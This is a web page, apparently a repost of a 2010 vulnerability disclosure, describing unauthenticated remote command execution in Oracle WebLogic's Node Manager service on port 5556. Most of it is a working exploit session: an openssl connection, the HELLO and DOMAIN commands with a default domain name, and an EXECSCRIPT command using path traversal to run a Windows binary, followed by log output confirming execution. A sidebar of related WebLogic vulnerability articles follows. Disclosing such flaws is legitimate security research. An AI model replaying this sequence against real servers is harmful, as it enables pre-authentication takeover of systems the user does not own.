Oracle WebLogic Server Node Manager "beasvc.exe" Remote Command Execution

简介: http://intevydis.blogspot.com/2010/01/oracle-weblogic-1032-node-manager-fun.

http://intevydis.blogspot.com/2010/01/oracle-weblogic-1032-node-manager-fun.html

Time for the final bug in our Week of Web Server bugs.
It is in Vulndisco since Oct, 2008.

Oracle Weblogic has an optional Node Manager utility which is used to start/stop server instances from a remote location.

It is important to know that Node Manager is beasvc.exe process which listens on port 5556.

It supports several commands, no authentication is required to enter some of these commands, you will only need to know the name of Weblogic domain (btw in the default install Weblogic has at least 2 domains - wl_server and medrec). As beasvc.exe speaks over SSL we will use openssl utility:

character '>' marks the beginning of our command (write the command after '>' and press Enter)

$ openssl s_client -host 192.168.56.101 -port 5556
>HELLO asdf
+OK Node manager v10.3 started

Remote version leak bug here ;-)

>DOMAIN xyz
-ERR I/O error while reading domain directory

>GETNMLOG
java.io.FileNotFoundException: Domain directory 'C:/Oracle /Middleware/wlserver_10.3/common/nodemanager' invalid (domain salt file not found)
at weblogic .nodemanager.server .DomainManager.initialize(DomainManager.java:79)
at weblogic .nodemanager.server .DomainManager.(DomainManager.java:54)
at weblogic .nodemanager.server .NMServer.getDomainManager(NMServer.java:257)
at weblogic .nodemanager.server .Handler.handleDomain(Handler.java:218)
at weblogic .nodemanager.server .Handler.handleCommand(Handler.java:108)
at weblogic .nodemanager.server .Handler.run(Handler.java:70)
at java.lang.Thread.run(Thread.java:619)

>DOMAIN wl_server
+OK Current domain set to 'wl_server'

>EXECSCRIPT ../../../../../../../../Windows/System32/ping.exe
-ERR 1

>GETNMLOG

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < [-r count] [-s count] [[-j host-list] | [-k host-list]]>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < [-w timeout] [-R] [-S srcaddr] [-4] [-6] target_name>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <Options:>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -t Ping the specified host until stopped.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < To see statistics and continue - type Control-Break;>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < To stop - type Control-C.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -a Resolve addresses to hostnames.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -n count Number of echo requests to send.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -l size Send buffer size.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -f Set Don't Fragment flag in packet (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -i TTL Time To Live.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -v TOS Type Of Service (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -r count Record route for count hops (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -s count Timestamp for count hops (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -j host-list Loose source route along host-list (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -k host-list Strict source route along host-list (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -w timeout Timeout in milliseconds to wait for each reply.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -R Use routing header to test reverse route also (IPv6-only). >

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -S srcaddr Source address to use.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -4 Force using IPv4.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -6 Force using IPv6.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

.



+OK Node manager log file sent

Obviously it is a remote preauth command execution bug!

目录
相关文章
|
8月前
|
安全 Oracle 关系型数据库
WebLogic Server 账号密码密文解密小方法
WebLogic Server 账号密码密文解密小方法,具体操作看下文
172 3
|
8月前
|
Web App开发 安全 Java
WebLogic Server 远程代码执行漏洞(CVE-2021-2109)
WebLogic Server 远程代码执行漏洞,攻击者可通过使用恶意Payload对目标服务器实施攻击并接管服务器获取执行权限。
91 1
|
8月前
|
安全 Java 应用服务中间件
WebLogic Server 远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389)
WebLogic Server 存在远程代码执行漏洞,攻击者通过特定Payload对目标服务器进行恶意利用从而获取服务器控制权限,进一步操作。
173 1
|
Java 应用服务中间件
WebLogic Server 10.3.6.0 更改jdk版本
WebLogic Server 10.3.6.0 更改jdk版本
3662 0
|
12月前
|
开发框架 安全 Oracle
|
SQL 运维 Oracle
【大数据开发运维解决方案】记一次同事不慎用root起动weblogic以及启动日志卡在The server started in RUNNING mode 问题解决过程
最近因为单位换了新版本HD集群,有一些业务数据存在于hive数据库中。而有一些Smartbi的报表数据源是连接的华为HD Hive,因为变更了集群,需要将SmartBi的数据源改为新集群的。我将Kerberos认证凭据和新版本Hive jdbc驱动以及新的jdbc连接串给了同事,也将实施文档给了同事,但是同事在操作完成后,Smarbi节点无法正常起来(后台日志卡在:The server started in RUNNING mode,Server state changed to RUNNING),要么起来了就是无法联通Hive。
【大数据开发运维解决方案】记一次同事不慎用root起动weblogic以及启动日志卡在The server started in RUNNING mode 问题解决过程
|
应用服务中间件 Windows Shell
在Weblogic上创建和启动自己的Server
             在Weblogic上创建和启动自己的Server的步骤: 1. 启动nodemanager 在windows下从命令窗口启动nodemanager的方式,在命令窗口执行%MW_HOME%/wlserver/server/bin/startNodeManager.cmd [监听地址] [监听端口],如:%MW_HOME%/wlserver/bin/startNodeManager.cmd 127.0.0.1 5556。
1079 0
|
Oracle 关系型数据库 Linux
linux服务器oracle数据库导出dmp文件功能演示,备份数据库命令。exp命令显示command not found解决方法,EXP-00028: 无法打开dmp进行写入问题解决
linux服务器oracle数据库导出dmp文件功能演示,备份数据库命令。exp命令显示command not found解决方法,EXP-00028: 无法打开dmp进行写入问题解决
580 0
linux服务器oracle数据库导出dmp文件功能演示,备份数据库命令。exp命令显示command not found解决方法,EXP-00028: 无法打开dmp进行写入问题解决
|
云安全 安全 Oracle
预警| WebLogic Server再曝高风险远程命令执行0day漏洞,阿里云WAF支持免费应急服务
此次发现的WebLogic CVE-2019-2725补丁绕过的0day漏洞曾经因为使用HTTP协议,而非T3协议,被黑客利用进行大规模的挖矿等行为。WebLogic 10.X和WebLogic 12.1.3两个版本均受到影响。
2023 0
|
安全 Oracle 关系型数据库
预警| WebLogic Server曝高风险远程命令执行0-day漏洞,阿里云WAF支持免费应急服务
WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,被广泛应用于保险、证券、银行等金融领域。
2543 0

推荐镜像

更多